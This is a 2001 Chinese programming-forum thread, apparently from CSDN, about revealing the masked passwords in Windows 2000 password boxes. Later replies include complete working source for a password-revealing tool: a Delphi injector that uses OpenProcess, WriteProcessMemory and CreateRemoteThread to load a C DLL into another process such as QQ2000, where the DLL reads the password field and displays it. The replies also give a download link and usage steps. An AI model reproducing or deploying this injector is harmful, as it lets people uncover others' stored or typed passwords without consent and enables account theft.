如何显示Win2000下密码框中的密码串?(源码剖析)
小弟曾做过一个工具,显示Windows中密码框的密码串,它在Win98,WinMe,WinNT下工作正常,但在Win2000下则毫
无作用,源码如下:
function TfrmMain.GetPassword(Sender:TObject):string;
var
hWnd:THandle;
lpCurPos:TPoint;
lntLen:Longint;
pchPass:pchar;
begin
GetCursorPos(lpCurPos);//获取当前鼠标位置
hWnd:=WindowFromPoint(Sender);//获取当前鼠标位置的窗口句柄
lntLen:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0);
//if GetWindowLong(hWnd,GWL_STYLE) and ES_PASSWORD <> 0 then //判断是否为密码框
begin
GetMem(pchPass,lntLen+1);
if lntLen > 0 then
SendMessage(hWnd,WM_GETTEXT,lntLen+1,Integer(pchPass));//获取密码串
Result:=String(pchPass);
FreeMem(pchPass,lntLen+1);
end;
end;
函数不能正常工作的原因,小弟推测是:
1,在密码框中显示的仍是密码的原文,不能显示的原因是Windows对发往密码框的“WM_GETTEXTLENGTH”进行了
过滤,或是Windows对密码框的构件进行了修改,不可能直接获取其标题内容;
2,在密码框中显示的是真正的“*”号,真正的密码原文被Windows转存到内存的别的地方.
====================================================================================
就这么多了,请各位大侠指教!
问题点数:25、回复次数:25Top
1 楼QLSoft(鬼谷子)回复于 2001-10-16 08:42:11 得分 0
请各位大侠指教!Top
2 楼QLSoft(鬼谷子)回复于 2001-10-16 12:23:46 得分 0
是不是小弟的问题太Easy......
大侠们都不xie一顾!Top
3 楼cgxp(宁采臣)回复于 2001-10-16 12:38:06 得分 0
你自己试试过滤这个消息就知道了Top
4 楼Triumph(夜雨)回复于 2001-10-16 16:06:45 得分 0
用这样的方法当然不行,你没发现吗,WinNT和Win2000中的密码框中显示的*的个数都是一样的,而不管实际上有没有密码或密码的长度是多少。显然这是经过了一定的算法得出的。Top
5 楼hellion(恶人)回复于 2001-10-16 16:34:00 得分 0
2000做了判断消息是否由自己发送的Top
6 楼guipei(IMRAD(QQ:88598744))回复于 2001-10-16 17:00:12 得分 0
微软不会一直让人利用它的bug,要不他还活什么?Top
7 楼QLSoft(鬼谷子)回复于 2001-10-19 17:21:38 得分 0
多谢各位的指教!
to hellion(恶人):我的程序能取得别的进程的非密码框的标题,同时,也不能得到本地进程的密码框标题,所以,还请指点迷津!!!
to Triumph(无为):难道没有办法可以或可能达到目的吗???Top
8 楼berl(berl)回复于 2001-10-19 20:58:40 得分 0
比尔改了在2000下得不到.
我也做过密码探测器.Top
9 楼shellapi(shellapi)回复于 2001-10-20 09:28:42 得分 0
关注Top
10 楼njhhack(剑影)回复于 2001-10-20 09:46:10 得分 10
to QLSoft(鬼谷子)
hellion(恶人)说的不错不过没提出解办法,本人来说一下
在win9x,nt下含有*****的密码框中的数据和文本框没什么两样,任何进程都可以得到他的内容
不过在win2000下,不行哟,因为那个死人bill看到这个问题的严重性后把ES_PASSSWORD属性的窗口的中WM_GETTEXT消息过滤了,只有进程本身的代码可以读他内容, 其他进程读一到他的内容哦:)
所在2000下你没法读到其他程序中******的内容,但可以读到自已程序中*******的内容哦,不信你试试啊,
针对bill的这个笨办法,我们就有对策了啊,2000不是只准进程自已可以读吗,好啊,那我就钻到他进程内部去,成为他进程的一部分,不就可以读到QQ2000中*******的内容了吗?
只是怎么钻进去呢:)
有好多方法,比如用全局钩子hook到qq2000中然后你的*.dll就成了qq2000的一个调用模块,你可以在*.dll读到qq2000中********的内容了哟,你还可以修改******这个密码框的属性让他变成普通文本框,这样就没有******显示了,是真正的密码了哟
当然在nt/2k下,你还能用CraeteRemoteThread方法进入qq2000内部,做同上面一样的操作,还有很多方法,不过本人不提供源码,免得大家做坏事,误人子弟,我可是很好的老师哟:)Top
11 楼hellion(恶人)回复于 2001-10-23 09:26:02 得分 0
谢谢njhhack(剑影)兄。
qq2000可以直接修改资源。
有些处理过的程序用这种方法也是没法取到的。Top
12 楼QLSoft(鬼谷子)回复于 2001-10-24 11:54:29 得分 0
多谢njhhack(剑影)兄的赐教!小弟近期正忙,没有回复您的来信,请谅解!!!
也多谢hellion(恶人)兄的赐教和各位朋友的关注.
小弟继续等候高手的指教......
Top
13 楼Richardw(真亦假|梦似幻-[瑞克])回复于 2001-10-24 13:40:54 得分 0
Study!!Top
14 楼pazee(耙子)(今年过年不收礼,收礼只收尿不湿)回复于 2001-10-24 13:43:23 得分 0
曾经看过这样的文章,的确是消息的问题,
我记得那个文章几行就解决了这个问题。
我去找找看!Top
15 楼pazee(耙子)(今年过年不收礼,收礼只收尿不湿)回复于 2001-10-24 14:00:43 得分 5
http://www.vchelp.net/source/submit/remote_src.htm
大家看这篇文章吧!Top
16 楼hantao(憨豆)回复于 2001-10-24 22:36:42 得分 0
upTop
17 楼hantao(憨豆)回复于 2001-10-24 22:39:16 得分 0
gzTop
18 楼njhhack(剑影)回复于 2001-10-25 12:14:24 得分 10
呵呵应大家强烈要求,本人贴出在2000下看密码框内********号的源码
欢迎和我交朋友:
e-mail:njhhack@21cn.com
oicq:10772919
主页:hotsky.363.net
----------------说明----------------------------------------
本程序分两部分
pass2k.exe是运行的程序
dll01.dll是动态链库接库
因为delphi在动态链接库设计上有问题,所以本人用c语言来设计动态链接库dll01.dll
而用delphi来设计pass2k.exe
--------下面是主程序用Delphi3.0设计--------------------------
Program Pass2K;
uses windows,messages,sysutils;
var
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst,Handle,hParent:thandle;
hLong:longint;
hPoint:TPOINT;
//
procedure run2;
var
hRemoteThread,hkernel32,dwRemoteProcessId,hRemoteProcess:integer;
cb,pcb:dword;
pfnStartAddr,pszLibFileName,pszLibFileRemote:pchar;
begin
cb:=100;
GetWindowThreadProcessId(hParent,@dwRemoteProcessId);
hRemoteProcess:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);
getmem(pszLibFileName,cb);
strcopy(pszLibFileName,pchar(ExtractFilePath(ParamStr(0))+'\dll01.dll'));
pszLibFileRemote:=VirtualAllocEx(hRemoteProcess,NIL,cb,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,pcb);
Freemem(pszLibFileName);
hkernel32:=GetModuleHandle('Kernel32.dll');
pfnStartAddr:=GetProcAddress(hkernel32,'LoadLibraryA');
hRemoteThread:=CreateRemoteThread(hRemoteProcess,NIL,0,pfnStartAddr,pszLibFileRemote,0,pcb);
WaitForSingleObject(hRemoteThread,INFINITE);
TerminateThread(hRemoteThread,0);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_DESTROY:halt;
WM_TIMER:
begin
GetCursorPos(hPoint);
hParent:=WindowFromPoint(hPoint);
hLong:=GetWindowLong(hParent,GWL_STYLE);
if (hLong and ES_PASSWORD)=ES_PASSWORD then run2;
end;
end;
end;
//
begin
hInst:=GetModuleHandle(nil);
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainHostClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
handle:=CreateWindow(wClass.lpszClassName,'http://hotsky.363.net',WS_OVERLAPPEDWINDOW or WS_VISIBLE,80,10,220,85,0,0,hInst,nil);
settimer(handle,0,200,NIL);
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
--------下面是*.dll动态链接库,用lccwin32设计,vc++也行的哦---------------------
#include <windows.h>
BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
POINT hPoint;
HWND hParent;
char str[100];
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
GetCursorPos(&hPoint);
hParent=WindowFromPoint(hPoint);
GetWindowText(hParent,str,100);
MessageBox(0,str,"",0);
FreeLibrary(hDLLInst);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Top
19 楼njhhack(剑影)回复于 2001-10-25 12:16:14 得分 0
呵呵顺便说一下啊,这个源码和程序在这里有得下哦
njhhack.freehomepages.com/pass2k.zip
Top
20 楼njhhack(剑影)回复于 2001-10-25 12:40:33 得分 0
说一下用法,先运行pass2k.exe
面后把mouse移到有**********的密码框,呵呵会弹出一个消息框,里面是看到的密码哟Top
21 楼heavyrain1234(请回答详细点,给分多多)回复于 2001-10-25 12:45:57 得分 0
thanksTop
22 楼juqiang(方枪枪(正在修炼伤心小箭))回复于 2001-10-25 14:52:08 得分 0
njhhack,可以交流一下吗?我也对这个问题很感兴趣。Top
23 楼qinzm(不归人)回复于 2001-10-25 15:13:47 得分 0
这只能显示一般的密码
2000的登录是经过特殊处理的
没作用Top
24 楼njhhack(剑影)回复于 2001-10-25 17:48:20 得分 0
当然得到2000登妹密码是不可能的Top
25 楼jbz(虚心求教)回复于 2002-07-15 01:10:07 得分 0
okTop




